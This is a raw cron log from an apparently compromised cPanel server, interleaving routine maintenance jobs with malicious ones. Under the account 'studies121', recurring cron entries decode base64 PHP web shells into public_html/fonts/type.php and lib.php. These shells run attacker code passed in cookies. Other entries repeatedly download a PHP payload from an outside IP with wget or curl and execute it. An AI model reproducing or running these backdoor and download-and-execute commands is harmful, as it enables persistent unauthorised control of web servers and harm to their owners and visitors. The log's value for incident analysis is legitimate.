Aug 31 18:07:01 ip-184-168-122-23 CROND[8477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:07:01 ip-184-168-122-23 CROND[8479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:07:01 ip-184-168-122-23 CROND[8481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:07:01 ip-184-168-122-23 CROND[8483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:08:01 ip-184-168-122-23 CROND[8569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:08:01 ip-184-168-122-23 CROND[8570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:08:01 ip-184-168-122-23 CROND[8573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:08:01 ip-184-168-122-23 CROND[8572]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:08:01 ip-184-168-122-23 CROND[8574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:09:01 ip-184-168-122-23 CROND[8659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:09:01 ip-184-168-122-23 CROND[8661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:09:01 ip-184-168-122-23 CROND[8658]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:09:01 ip-184-168-122-23 CROND[8660]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 18:09:01 ip-184-168-122-23 CROND[8662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:10:01 ip-184-168-122-23 CROND[8842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:10:01 ip-184-168-122-23 CROND[8843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:10:01 ip-184-168-122-23 CROND[8845]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:10:01 ip-184-168-122-23 CROND[8850]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 18:10:01 ip-184-168-122-23 CROND[8852]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:10:01 ip-184-168-122-23 CROND[8854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:10:01 ip-184-168-122-23 CROND[8851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:10:01 ip-184-168-122-23 CROND[8857]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:11:01 ip-184-168-122-23 CROND[8943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:11:01 ip-184-168-122-23 CROND[8944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:11:01 ip-184-168-122-23 CROND[8946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:11:01 ip-184-168-122-23 CROND[8945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:12:01 ip-184-168-122-23 CROND[9051]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:12:01 ip-184-168-122-23 CROND[9053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:12:01 ip-184-168-122-23 CROND[9054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:12:01 ip-184-168-122-23 CROND[9055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:12:01 ip-184-168-122-23 CROND[9059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:13:01 ip-184-168-122-23 CROND[9135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:13:01 ip-184-168-122-23 CROND[9138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:13:01 ip-184-168-122-23 CROND[9137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:13:01 ip-184-168-122-23 CROND[9139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:14:01 ip-184-168-122-23 CROND[9217]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:14:01 ip-184-168-122-23 CROND[9219]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:14:01 ip-184-168-122-23 CROND[9221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:14:01 ip-184-168-122-23 CROND[9220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:14:01 ip-184-168-122-23 CROND[9223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:15:01 ip-184-168-122-23 CROND[9404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:15:01 ip-184-168-122-23 CROND[9407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:15:01 ip-184-168-122-23 CROND[9409]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Aug 31 18:15:01 ip-184-168-122-23 CROND[9411]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:15:01 ip-184-168-122-23 CROND[9412]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:15:01 ip-184-168-122-23 CROND[9413]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 18:15:01 ip-184-168-122-23 CROND[9410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:15:01 ip-184-168-122-23 CROND[9414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:16:02 ip-184-168-122-23 CROND[9554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:16:02 ip-184-168-122-23 CROND[9555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:16:02 ip-184-168-122-23 CROND[9557]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:16:02 ip-184-168-122-23 CROND[9561]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 18:16:02 ip-184-168-122-23 CROND[9563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:16:02 ip-184-168-122-23 CROND[9564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:17:01 ip-184-168-122-23 CROND[9647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:17:01 ip-184-168-122-23 CROND[9649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:17:01 ip-184-168-122-23 CROND[9648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:17:01 ip-184-168-122-23 CROND[9651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:18:01 ip-184-168-122-23 CROND[9753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:18:01 ip-184-168-122-23 CROND[9756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:18:01 ip-184-168-122-23 CROND[9755]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:18:01 ip-184-168-122-23 CROND[9757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:18:01 ip-184-168-122-23 CROND[9758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:19:01 ip-184-168-122-23 CROND[9871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
